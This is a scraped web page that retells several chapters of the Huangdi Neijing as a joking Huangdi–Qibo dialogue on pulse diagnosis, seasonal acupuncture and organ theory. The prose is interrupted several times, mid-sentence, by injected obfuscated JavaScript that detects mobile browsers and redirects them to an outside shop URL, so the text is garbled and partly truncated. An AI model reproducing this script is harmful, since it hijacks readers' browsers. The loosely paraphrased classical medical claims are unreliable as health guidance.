这阴阳啊，真是玄妙又调皮，一不小心就搞反了，那时候就得靠咱们医生的智慧，在阴阳之间找平衡，跟玩跷跷板似的，一不小心就翻车，这可是考验咱们医术的时候了。” “还有啊，那脉搏跳动得像是在打鼓，可能是痹症或者腿脚不利索了；脉搏孤单单的，像是被抛弃的孩子，那是气虚；脉虚又泄，那就是血亏了。孤脉是凶兆，虚脉还算有点希望。治疗这些奇恒之病啊，得从太阴经开始下手，顺着经络走是正道，逆着来那就是找死了。自然界的八风、四时的变化也是这个道理，循环往复，你要是逆着自然规律来，那可就是一条道走到黑了。” “总之啊，黄帝大大，这医术之道啊，就像是在玩一场高级的解谜游戏，你得有足够的智慧和耐心，还得有点幽默感，不然天天面对这些疑难杂症，不得憋出内伤来啊！好了，今儿个的论要就讲到这儿，咱们下回分解！” 诊要经终论篇第十六 黄帝好奇地问岐伯：“看病诊断的要点是啥呢？” 岐伯幽默地回答，仿佛在说天气预报：“嘿，你听着啊，正月二月那会儿，天气刚开始回暖，大地也悄悄苏醒，人的精力都集中在肝上，像小树苗一样蓄势待发。到了三月四月，天气正式步入正轨，大地彻底热闹起来，人的活力就跑到脾胃那儿去了，吃嘛嘛香。五六月份，天气热得跟蒸笼似的，地气也高涨，人的气血都往上冲，感觉脑袋都要冒烟了。 转眼到了七八月，秋风起，凉意渐浓，这时候人的气儿就聚在肺里了，得注意润肺防燥哦。九、十月份，冷得能结冰了，大地也开始收敛，人的心火得藏一藏，不然晚上得失眠。到了年底的十一、十二月，冰封大地，万物归宁，人的精力就乖乖待在肾里，准备过冬啦。 所以啊，春天治病得轻手轻脚，像给花儿浇水一样，疏通经络，让气血顺畅地流出来，病就跑了。夏天呢，就得直接点，扎个穴位，放点血，把热气散出去，病痛自然就跑了。秋天嘛，就像给苹果削皮，得顺着纹理来，温柔又彻底。冬天治病，就得精准打击，穴位找得准，病就逃得快。 但你可别乱来哦，比如春天你去扎夏天的穴位，那可就乱套了，气血乱窜，病没好，人还吃不下饭，整天懒洋洋的。春天扎秋天的穴位，筋啊气的都拧巴了，咳嗽不断，还时不时被吓一跳，晚上还爱哭鼻子。春天扎冬天的穴位，邪气直接钻脏腑里了，肚子胀得跟球似的，还老想说话停不下来。 夏天扎春天的穴位，病没好，人还变懒了，跟泄了气的皮球似的。夏天扎秋天的穴位，心里那个憋屈啊，话都不想说，整天提心吊胆的。夏天扎冬天的穴位，气儿不够用，还爱发脾气，跟个火药桶似的。 秋天扎春天的穴位，人容易忘事，刚想起要干啥转眼就忘了。秋天扎夏天的穴位，嗜睡如命，还老做梦，跟演连续剧似的。秋天扎冬天的穴位，时不时打个寒颤，跟秋天里的小凉风过不去。 冬天扎春天的穴位，晚上想睡睡不着，睡着了还做噩梦。冬天扎夏天的穴位，气儿乱窜，全身酸痛，跟被点穴了一样。冬天扎秋天的穴位，老觉得渴，喝水都不解渴，跟沙漠里找水似的。” 聊到针灸啊，那可得小心翼翼，尤其是扎胸腹这些地方，得跟躲猫猫似的避开五脏六腑。你想啊，万一不小心扎到心脏了，那可就芭比Q了，直接“环”游世界去了（意思是必死无疑，这里开个玩笑）；扎到脾脏，五天内也得见阎王；肾脏中招，七天倒计时开始；肺嘛，也是五天内的事儿；要是扎到膈肌，那也是重伤啊，就算当时挺过去了，一年之内也得小心着点儿，说不定哪天就“惊喜”降临了。 所以嘛，针灸高手们都得有双火眼金睛，知道针往哪儿走是顺道，哪儿是逆路。顺着来，就是那些膈肌、脾脏、肾脏周边的安全地带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318155|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ；逆着来？嘿嘿，那就是自找苦吃了。 再来说说，扎胸腹时的小妙招：先铺块布巾，就像给身体穿个“防护服”，然后透过这层“单布盾牌”下针。一针不行？咱再来一针，但记得，针得稳，手别抖，对付肿胀的地方可以适当摇摇针，但正经穴位上就别晃悠了，这可是针灸界的“稳准狠”秘籍哦！ 黄帝好奇了：“哎，说说那十二经脉要是到头了，人会咋样？”岐伯老师就开始科普了： “太阳经快不行时，眼睛往上翻，跟僵尸似的，手脚还抽抽，脸色白得吓人，一出大汗，那就完犊子了。少阳经呢，耳朵先聋了，全身关节松松垮垮，眼珠子瞪得圆溜溜的，像要掉出来一样，这一天半内基本就交代了，死前脸色还会变青白。阳明经挂了，嘴巴眼睛乱动，一惊一乍的，胡言乱语，脸色蜡黄，手脚麻木，那就快不行了。 少阴经完蛋，脸跟包公似的，牙变长还挂满牙垢，肚子胀得跟球一样，上下不通气，直接憋死。太阴经呢，也是肚子胀得要命，喘不上气，打嗝呕吐不断，吐着吐着脸就红了或者黑了，皮肤干巴巴，最后就枯了。 厥阴经快挂时，心里烧得慌，喉咙干得像沙漠，尿频心烦，到最后舌头卷了，蛋蛋也缩了，这就彻底歇菜了。 这十二经脉啊，一旦走到尽头，那就是各有各的惨法儿，咱们还是得好好保养，别让它们提前‘退休’了！” 脉要精微论篇第十七 黄帝好奇地问岐伯：“嘿，老兄，咱们这看病把脉的学问，到底有啥讲究啊？” 岐伯笑眯眯地回答：“嘿，黄帝大人，这学问可大了去了！咱们啊，最好挑清晨那会儿，天刚蒙蒙亮，阴气还没起床溜达，阳气也没急着散会，肚子还空着呢，经脉啊、络脉啊都乖乖地待着，气血不乱跑，这时候把脉，最能看出身体的小九九了。 咱们一边摸着脉，感受它的跳动，一边还得瞅瞅病人的眼神亮不亮，脸色好不好，就像侦探查案一样，瞅瞅五脏六腑是不是都安分守己，身体是强壮还是虚弱。把这些线索综合起来，生死大事，咱也能心里有数了。 说到这脉啊，它就像是血液的小房子，房子长点，说明气儿顺；短了点，气儿可能就有点小毛病了；跳得快，心里可能烦着呢；粗大的话，病可能正往深了去；上面鼓胀，气儿往上冲；下面鼓胀，肚子可能胀气；跳着跳着停了会儿再跳，那是气儿快不够用了；细细的，气儿就少；涩涩的，心可能正疼呢。还有啊，那脉要是像泉水涌一样，突然来个大爆发，然后又软绵绵地没了力气，跟琴弦断了似的，那可得小心了，可能是大限将至啊。 再看这眼神和脸色，那可是身体气色的直接反映。红要红得像白布包着朱砂，别红得像猪肝；白要像鹅毛那么纯净，别跟撒了盐似的；青要青得像碧玉有光泽，别跟蓝墨水似的；黄要像丝绸裹着雄黄，别黄得像黄土；黑要黑得发亮像黑漆，别跟地皮似的灰暗。这些颜色要是精微到快看不见了，嘿，那寿命可能也就不长了。眼神嘛，得能分清黑白长短，要是把长的看成短的，白的看成黑的，那就是精气神儿快耗尽了。 五脏啊，就像是身体的守护神。里面要是太满，气儿太冲，人就容易害怕，说话声音都像在屋子里闷着似的，那是湿气太重了。说话有气无力，半天才挤出一句，那是气儿被夺走了。衣服不整，说话没遮拦，不管亲疏，那是神智不清了。仓库（指脾胃）不关门，那是门户大开；水龙头（指小便）关不住，那是膀胱也失职了。守得住就活，守不住就悬了。 五脏强，身体就壮。头啊，是精明之府，头一歪，眼神迷离，那就是精神快没了。背啊，是胸中的靠山，背驼了，肩膀也跟着垮，那就是靠山要倒了。腰是肾的家，腰转不动了，肾也快累趴了。膝盖是筋的根据地，走路弯着腰，那就是筋快没劲了。骨头啊，是髓的仓库，站不久，走两步就晃悠，那就是骨头快散架了。所以啊，哪儿都得强，强则生，弱则危，咱们得好好护着！” 岐伯老师说：要是谁的生活作息跟四季变化对着干，体内能量多了就容易“精”力过剩，少了呢，就跟被“消”化了一样，没劲。身体反应太过了，不足时就显得更没“精”神；反应不足时，有余又成了消耗过度的样子。要是阴阳俩哥们儿不搭调，那病就叫“关格”，听着就让人头疼。 黄帝陛下好奇了，问：“这脉象随着四季咋动啊？咋知道病在哪儿？会变啥样？啥时候跑身体里去了？啥时候又溜外面去了？这五大难题，给咱详细说说呗？” 岐伯老师笑眯眯地说：“好嘞，咱这就聊聊这脉象与大自然运转的大秘密。你看这万物生长，六合之内，天地怎么变，阴阳就怎么应和。春天暖洋洋，夏天热烘烘，秋天凉飕飕，冬天怒号的风那是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318156|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷啊！这四季一换，脉象也跟着上下起伏，春天像圆规画圆那么规矩，夏天像尺子量那么直，秋天平衡得跟秤砣似的，冬天则稳重如权杖。到了冬至后四十五天，阳气悄悄往上升，阴气悄悄往下降；夏至后也是同理，不过换过来玩。阴阳俩兄弟有它们的时刻表，跟脉象约好了似的，要是它们没按约定来，嘿，咱们一看脉象就知道咋回事了，甚至能算出病啥时候能好，啥时候得注意啦！ 这脉象啊，微妙得很，不得不仔细琢磨。琢磨它得有个章法，得从阴阳开始学起，然后顺着五行生克的道理走，再考虑到四季的变化，补啊泻啊的都不能错，得跟天地运行一个节奏，这样才能掌握生死的奥秘。所以啊，声音跟五音相通，颜色跟五行相配，脉象则直接反映阴阳平衡。 再给你们来点有趣的，身体上部能量多了就梦见飞，下部多了就梦见往下掉；吃撑了就梦见给人东西，饿极了就梦见找吃的；肝气旺了就梦见发火，肺气足了就……哎呀，不说你们也懂。阴气重了就梦见被大水淹得怕怕的，阳气盛了就梦见大火烧得旺旺的。要是阴阳都过旺，那就梦见打架斗殴，血光四溅。心里憋屈了就哭鼻子，身边小虫子多了就梦见聚众开会，大虫子多了就梦见打群架，毁天灭地似的。” 想象一下，春天的时候，你把脉就像在湖边看鱼悠游，轻盈又自在；到了夏天，脉象就像在皮肤上轻轻滑动，跟夏日的微风一样，温柔又泛滥。记住哦，感受这脉象，要从头到尾细细琢磨，这样才能摸清门道。这就是把脉的六大秘籍之首两招，是不是感觉有点像解谜游戏？ 这章没有结束，请点击下一页继续阅读！ 平人气象论篇第十八 黄帝好奇地问岐伯：“哎，你说说，健康人的脉象是咋样的呢？” 岐伯笑眯眯地回答：“嘿，黄帝大人，健康的人啊，他们呼气的时候，脉搏跳两下，吸气的时候，也是跳两下。等这一呼一吸完了，也就是呼吸平稳后，总共能摸到脉搏跳五次。如果遇到长呼吸（就是深呼吸啦），那就稍微多跳一下，这样的脉象，我们就称之为‘平人’脉象，意思就是这人不生病，杠杠的！ “医生啊，平时就得拿自己不生病的脉象去对比病人的脉象，自己先得是个‘健康小达人’，才能更准确地给病人调脉嘛。这就像咱们打游戏，得先练好基础操作，才能带飞队友嘛！” “再来说说，如果人呼气吸气各跳一下脉，那就是气虚了，得补补。要是呼气吸气都跳三下脉，还跳得特别急躁，手腕下面那块（尺部）还热乎乎的，那就是热病找上门了；如果不热但脉滑，那就是风邪作祟；脉涩的话，就得小心是不是得了痹症了。 “还有更夸张的，如果呼气吸气脉跳四次以上，或者脉跳着跳着突然停了，那可得小心了，这可是危险的信号，可能得马上找医生聊聊人生了。 “说到这健康之气啊，它可是从胃里来的，胃就是咱们健康的‘发动机’。没有这股胃气，那就是逆天了，逆天而行，结果你懂的，就是挂掉啦。 “四季不同，胃气的表现也不同哦。春天胃气带点微微的弦，那是刚刚好；弦太多胃气少，那就是肝在喊救命了；只有弦没有胃气，哎呀，那可真是不妙了。胃气上还带着点‘毛’（微浮），那就是秋天可能有点小毛病；‘毛’得厉害，那就是现在就有病啦。肝啊，它可是管着咱们筋膜的，得好好护着。 “夏天胃气带点微钩，健康标志；钩太多胃气少，心脏要遭殃；只有钩没胃气，也是凶多吉少。胃气里还带点‘石’（沉），那就是冬天可能有病；‘石’得很，就是现在病得不轻。心脏负责血脉，得悠着点。 “长夏时节，胃气微弱点正常；太弱了胃气不足，那就是脾胃不和；如果只有代脉（不规律）没胃气，那也是凶兆啊。软弱中带着点‘石’，冬天得注意；弱得离谱，那就是现在病得不轻。脾嘛，管着咱们的肌肉，得养好了。 “秋天胃气微‘毛’，刚刚好；‘毛’多了胃气少，肺要咳嗽了；只有‘毛’没胃气，那也是玩完的节奏。肺啊，它是咱们身体的‘空调’，得让它好好工作。 “冬天胃气微‘石’，健康标志；‘石’多了胃气少，肾就虚了；只有‘石’没胃气，哎，那也是凶多吉少。肾啊，藏着咱们的骨髓之气，得好好保养。 “说到胃啊，它还有个大络叫‘虚里’，这家伙厉害着呢，穿过膈膜，连着肺，就在左乳下面。你摸摸看，它跳动的时候衣服都跟着动，这就是咱们的‘宗气’在作怪。如果它跳得跟喘不上气似的，还时不时停一下，那就是内脏有问题了；如果跳得乱七八糟，那可能是有积块了；如果完全不跳了，那……嗯，你懂的。” “哎，说到这里，我得提醒你一句，乳下那块跳得太厉害，衣服都跟着动，那可是宗气外泄的表现哦，得赶紧找医生瞧瞧去！” 想知道身体哪里有点小状况，通过手腕上的脉搏就能窥见一二，这学问可大了去了！咱们来聊聊这“寸口脉”的奥秘，让它变得既接地气又带点小趣味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318157|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果你摸到的脉搏感觉短促，像没跑几步就喘了，那可能就是头痛在悄悄作祟。反过来，如果脉搏长得跟马拉松选手似的，绵延不绝，嘿，小心你的小腿肚子（足胫）在喊疼呢！ 再来说说那急促上窜的脉搏，感觉就像有人在你肩背上猛敲了一记“大力金刚掌”，没错，肩背可能有点小问题。而脉搏深沉又坚定，就像个顽固的守城将军，那病啊，多半藏在你身体内部。相反，脉搏轻浮还特带劲儿，就像外面的花儿一样争奇斗艳，告诉你，病在表，别担心太深。 脉沉又细弱，就像秋天的落叶，轻飘飘还带点凉意，这可得防着寒热交替，还有那些让人头疼的疝气、小腹疼。脉又沉又横着走，就像螃蟹在肚子里横行霸道，提示你胁下可能有积块，肚子也隐隐作痛。脉沉还带点喘的感觉，哎，又是寒热这对冤家找上门了。 脉大滑溜还结实，说明病在皮毛，好对付；脉虽小但硬邦邦，那就得往身体里头找了。脉又细又涩，慢悠悠的，这病啊，可是老顽固了，得慢慢磨。脉滑得像抹了油，跑得还快，新病一枚，别怕！ 脉急得像被踩了尾巴的猫，疝气和小腹疼可能正等着你；脉滑溜溜的，风邪可能正在体内开派对呢；脉涩了，那就是气血不通，跟“痹”字脱不了干系。脉缓而滑，热中找上门，得降降火。脉又盛又紧，肚子胀得像个球，得松松气。 记住啦，脉搏要是顺着身体的自然规律走，病好得快；要是反着来，那就得做好持久战的准备了。脉搏跟着四季变换的节奏跳，病就简单；要是不按常理出牌，还连累到其他脏腑，那就难缠了。 这章没有结束，请点击下一页继续阅读！ 玉机真藏论篇第十九 黄帝好奇地问：“春天的脉象说是像琴弦一样，到底怎么个弦法呢？”岐伯笑着解释：“春天的脉象啊，它代表的是肝，就像东方的树木，万物复苏开始生长那样。这脉象呢，摸起来柔软、轻盈、略带滑感，直直的还很长，这就叫弦脉。如果不像这样，那就是有病了。” 黄帝接着问：“那怎么个不像法就算是反了呢？”岐伯接着说：“如果脉象摸起来又实又强，那就是太过了，毛病多半出在体表；要是摸起来既不实也不强，反而微弱，那就是不及，问题在身体里面了。” 黄帝又问：“那春天脉象太过或不及，都会得啥病呢？”岐伯答道：“太过的话，人容易忘事，脑袋晕乎乎的，还可能得头顶上的病；要是不及呢，就会胸口疼连着背也疼，肚子两边还会觉得胀胀的。”黄帝点点头：“嗯，有道理。” 接着黄帝又问夏天脉象：“夏天的脉象说是像钩子，怎么个钩法？”岐伯答道：“夏天的脉象代表心，就像南方的火，万物都茂盛生长。这脉象来时强盛，去时减弱，所以叫钩脉。反了就表示有病。” 黄帝追问：“怎么个反法？”岐伯说：“如果来时强盛去时也强盛，那就是太过了，病在外；如果来时不强盛，去时反而显得强盛，那就是不及，病在内。” 黄帝再问：“夏天脉象太过或不及，都会得啥病？”岐伯答道：“太过的话，人会发热，皮肤疼，还可能得皮肤病；要是不及，就会心烦意乱，上面咳嗽吐痰，下面还容易拉肚子。”黄帝听完，笑道：“这脉象学问还真不少，挺有意思的。” 黄帝继续问秋天的脉象：“秋天的脉象说是浮，怎么个浮法？”岐伯说：“秋天的脉象代表肺，就像西方的金属，万物开始收获。这脉象轻盈虚浮，来得快散得也快，所以叫浮脉。反了就表示有病。” 黄帝又问：“那怎么个反法呢？”岐伯答道：“如果脉象摸起来像毛一样轻飘飘，但中间却很硬，两边又空虚，这就是太过了，病在外；如果摸起来轻飘飘的还特别微弱，那就是不及，病在内。”黄帝听后，感叹道：“哎呀，这脉象还真是千变万化，得好好学啊！” 黄帝问：“秋天的脉象，如果太过或是不及，分别会引发什么病症呢？” 岐伯回答说：“秋天的脉象如果太过强劲，会让人感觉气逆不顺，背部疼痛，走起路来都慢悠悠的，像是背了个大包袱。而要是脉象不及，那就容易气喘，呼吸短促还咳嗽，甚至咳出血来，听起来就像肺里有个风箱在响。” 黄帝点头：“嗯，说得好。那冬天的脉象像营垒一样稳固，具体怎么理解呢？” 岐伯解释说：“冬天的脉象对应肾，就像北方的水，万物都潜藏起来了。所以脉象深沉而有力，像坚固的营垒，这才叫正常。如果不这样，那就是病了。” 黄帝好奇：“那怎么个不正常法呢？” 岐伯接着说：“如果脉象来势像弹石一样硬邦邦的，那就是太过，病在体表；如果脉象去时快得像数数，那就是不及，病在内里。” 黄帝又问：“那冬天的脉象太过或不及，具体会得什么病呢？” 岐伯答道：“太过的话，人会变得懒洋洋的，脊背疼，气不足，连话都不想说。要是不及呢，心里就老觉得空落落的，像是饿了又吃不到东西，肋骨里空荡荡的，脊背疼，小肚子胀，连小便都不正常了。” 黄帝连连点头：“妙哉！说到四季脉象的变化，那脾脉在四季中扮演什么角色呢？” 岐伯说：“脾脉就像大地之母，是孤独的脏器，却滋养着全身。它的好坏，对全身都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄帝好奇宝宝上线啦，他眨巴着大眼睛问岐伯老师：“嘿，听说您那九针之术，博大精深，数都数不清，简直比满天繁星还让人眼花缭乱。我呢，就想求个精华版，好传给我的子孙后代，让他们把这宝贝刻进骨子里，记在心上，就跟对待传家宝似的，发誓不轻易外传。而且啊，这学问还得合着天地的道理，有头有尾，上能对应天上的星星月亮日历，下能匹配四季和五行变化。您知道吧，冬天冷得像冰块，夏天热得像火球，人在这中间怎么适应，有啥妙招不？快给我讲讲！” 岐伯老师一听，捋了捋胡子，笑道：“哟，这问题问得妙啊！这可是天地间的终极奥秘呢！” 黄帝接着追问：“对对对，就是那终极奥秘！我想知道这天地间的规律怎么跟咱们人的气血运行搭上关系，能不能像导航仪一样，帮我们判断健康还是病危，该怎么调理身体，赶走那些不速之客——疾病呢？” 岐伯老师缓缓道来：“这天地间的奥秘啊，简单说起来，就是从一开始，到九结束。一代表天，二代表地，三嘛，自然就代表人啦。然后这三个数字一叠加，三三得九，正好对应了九个大方向，也就是咱们常说的九州。咱们人体呢，也有三部要穴，每部还有三个关键点，通过这些点，就能判断出身体的健康状况，是生是死，一目了然。不仅如此，还能调理身体的虚实，把那些邪门歪道的病给赶跑。所以啊，这九针之术，可不仅仅是针那么简单，它是咱们与天地沟通的小秘密呢！” 黄帝又问了：“什么是三部呀！”岐伯说：哎呀，皇上您这问题可真是问到点子上了，咱们来聊聊这中医里的“三部九候”大法吧！您知道吗，咱们身体啊，就像是个小宇宙，分上中下三个大区域，每个区域里还有三个小秘密，简称“三部九候”。这可不是闹着玩的，它可是古代神医岐伯的独门秘籍哦！ 首先，咱们说说这“下部”。想象一下，咱们身体下半身，就像是一棵大树的根，得扎得稳，才能长得茂盛。下部呢，又分为“天、地、人”三候。下部的“天”，对应的是足厥阴肝经，这就像是咱们身体里的“情绪调节器”，心情好不好，肝说了算。肝好，人精神；肝不好，唉，那脾气可能就比天气还难琢磨了。 下部的“地”，那就是足少阴肾经了。肾嘛，大家都懂，是咱们身体的“能量库”，藏精纳气全靠它。肾好，腰杆子硬，走路都带风；肾若虚了，嘿嘿，那可能就是“保温杯里泡枸杞”的忠实粉丝了。 至于下部的“人”，指的是足太阴脾经和足阳明胃经（虽然这里岐伯直接说了足太阴，但咱们中医讲究脾胃一家亲，就一起说吧）。脾胃，那可是咱们身体的“后勤部长”，负责把吃进去的好东西转化成能量，再送到全身各处。脾胃好，吃嘛嘛香，身体倍儿棒；脾胃一差，哎呀，那可就是“吃嘛嘛不香，看啥啥没劲”了。 再往上，咱们来到中部。中部就像是树干，连接着上下，承上启下。中部的“天”，是手太阴肺经，它负责呼吸，就像咱们身体的“氧气瓶”，得时刻保证空气新鲜，才能让身体里的每个细胞都活蹦乱跳。 中部的“地”，是手阳明大肠经。大肠嘛，负责“排污”工作，得通畅无阻，身体才能清爽。不然，嘿嘿，便秘的滋味可不好受哦！ 中部的“人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318159|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”，则是手少阴心经。心，那可是咱们身体的“指挥官”，主管着血脉和神志。心强，则思维敏捷，精神饱满；心弱，则可能心浮气躁，或是心有余而力不足。 最后，咱们聊聊上部。上部就像是树冠，是咱们身体与外界接触最频繁的部分。上部的“天”，是额头两侧的动脉，也就是咱们常说的太阳穴附近，这地方一跳一跳的，可是气血旺盛的表现哦！ 上部的“地”，是两颊的动脉，也就是咱们笑起来会有两个小酒窝的地方。这地方气血充足，人就显得红润有光泽，笑起来也更加迷人。 而上部的“人”，则是耳前的动脉，这里不仅关乎咱们的听力，还跟大脑的供血息息相关。所以，保护好这里，咱们的思维才能更加敏捷，耳朵也更加灵光。 总而言之，这“三部九候”啊，就像是咱们身体里的九个小侦探，时刻在监测着身体的健康状况。咱们得好好对待它们，让它们都保持最佳状态，这样咱们的身体才能像个小宇宙一样，充满活力和生机！所以啊，各位亲们，记得多锻炼、合理饮食、保持良好的作息和心情哦！这样，咱们的身体才能越来越棒，生活才能越来越美好！ 黄帝问：“哎，岐伯老师，咱们说的人体中部啊，该怎么观察它的健康状况呢？” 岐伯笑眯眯地回答：“哈哈，这个问题嘛，简单说，就是‘天、地、人’三要素都得看。天上的气象咱们用来观察肺的状况，地嘛，指的是胸腔里的那股气，关乎呼吸顺畅；而人呢，自然就是心脏了，心脏跳动，生命不息。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 经脉别论篇第二十一 黄帝好奇地问岐伯：“哎，你说咱们人住哪儿、动还是静、胆子大小，这些都会影响脉象变化吗？” 岐伯笑着回答：“哎呀，皇上您这问题问到点子上了！人嘛，情绪一波动，比如害怕、生气、劳累或者闲静，脉象它都能感受到，跟着就变。比如说，晚上走夜路，肾一紧张，气儿就喘得跟肾有关系了，还容易伤到肺；要是一不小心摔了一跤，吓得肝颤，那喘气就带着肝的气息，脾也跟着遭殃；真遇到啥恐怖事儿，肺直接给你来个深呼吸大喘气，心也跟着受伤。还有啊，过河时摔个跤，肾和骨头都得喊救命，喘气都带着肾骨的气息。这时候，勇敢的人可能气儿一顺就过去了，胆小的嘛，这气儿就卡那儿了，变成病根儿了。所以啊，看病啊，得瞧瞧人的胆量、体格、皮肤，心里有个底儿，这诊断才准嘛！” 岐伯接着又说：“还有更有趣的，你吃撑了，那汗就从胃里冒出来；吓得魂飞魄散，汗是心在哗哗流；搬个重物走老远，肾就默默出汗了；跑得飞快还心里发怵，肝也跟着冒汗；要是摇摇摆摆干苦力，脾也来凑热闹，一起出汗。您瞧，春夏秋冬，四季变换，阴阳交替，生病啊，大多是因为咱们‘过度使用’身体了，这是自然规律，得悠着点儿来！” 想象一下，食物一进到胃里，就像开了个小型派对，精华部分直奔肝脏，给咱们的筋脉加油打气，让它们活力四射。而那些“浊气”呢，则悠哉游哉地去了心脏，化成血脉里的精华，随着血液流遍全身。 这血脉啊，它可是个勤劳的快递员，把营养送到每个角落，最后还不忘给肺大哥报个到，肺大哥一挥手，营养就均匀分布在皮肤毛发上了，整个人都容光焕发！这过程，简直就是身体内部的“双十一”狂欢，精准配送，无死角覆盖！ 再来说说喝水，水一进肚子，立马变身成精华液，先给脾老弟来个SPA，然后脾老弟再将这些精华打包好，送到肺大哥那里。肺大哥不仅负责呼吸，还是水循环的总调度，多余的水就通过膀胱排出体外，保持体内水分平衡，简直就是身体的“水利部部长”。 接下来，咱们聊聊不同脏腑的“小情绪”。比如太阳经要是太兴奋了，人就容易喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岐伯继续道：“就说这肝吧，它跟春天是铁哥们，脚上的厥阴经和少阳经是它的左膀右臂，日子嘛，就对应甲乙两天。肝这家伙，最怕憋屈，一憋屈就急，这时候得给它吃点甜的缓缓。心呢，夏天是它的主场，手上的少阴经和太阳经掌舵，日子对应丙丁。心要是太散漫了，得用酸的收收心。 再来看脾，它喜欢长夏那温吞吞的天气，足太阴和阳明经是它的得力助手，戊己两天就是它的吉日。脾这家伙，湿气大了就难受，得吃苦的燥湿。肺呢，秋天是它的舞台，手上的太阴和阳明经是主角，庚辛两天它最活跃。肺要是气不顺，往上顶，还是得吃苦的给它通通气。 最后是肾，冬天是它的主场，脚上的少阴和太阳经保驾护航，壬癸两天它最精神。肾怕干，得吃点辛的润润。这样，汗孔开了，津液足了，气也就顺了。” 黄帝听得津津有味，岐伯又补充道：“肝要是病了，夏天最容易好；秋天得小心，容易加重；冬天嘛，稳住别慌；春天一到，自然好转。但记得别让风吹着。具体点说，肝病的最佳治疗时间是丙丁日，如果这两天没好，庚辛日可能会加重；庚辛日要是还没挂，壬癸日就稳住，到了甲乙日就又有转机了。肝病患者早晨一般感觉良好，傍晚可能会加重，但半夜会安静下来。想让它快点好，就吃辛的散散气，辛味能补肝，酸味却是泻肝的哦！” 心脏有点小脾气？别担心，长夏时节最宜养心，就像给心灵放个小长假。但如果长夏没养好，冬天可就难熬了，得加倍小心。冬天要是还坚挺，春天就能缓缓气，到了夏天又能活蹦乱跳了。记住哦，远离温热的食物和衣物，别让心火更旺。心喜欢“弱”一点，那就多吃点咸的，给它降降火，用咸来补，甜食嘛，就留给别的时候享受吧，因为甜食会“泻”了心气。 脾胃不和？秋天是调理的黄金期，错过可就得等春天回暖时慢慢养了。春天还没好利索，夏天就得悠着点，别让它恶化。到了长夏，脾气（这里的脾气是中医术语，非情绪哦）或许能缓过来。记住，别吃太饱，别穿湿衣，温暖干燥才是王道。脾喜欢“缓”，那就用甘甜的食物来安抚它，苦味的则是它的“清道夫”。 肺若受伤，冬天是修复的好时机，但夏天可得防着点儿，别让病情“火上浇油”。夏天要是挺过来了，长夏时节就稳住，秋天一到，自然好转。冷饮冷衣？离它们远点，肺不喜欢寒冷。肺爱“收”，来点酸的，帮它收收气，酸补肺，辛则泻。 肾的问题？春天是最佳恢复期，但长夏得小心，别让它雪上加霜。秋天是稳定期，冬天则是新的起点。远离热食、暖衣，别让肾火过旺。肾要“坚”，多吃点苦的，给它加固防线，苦能补，咸则泄。 这邪气啊，就爱挑软柿子捏，遇到能克它的季节就躲，到了它喜欢的季节就猖狂。但别担心，咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 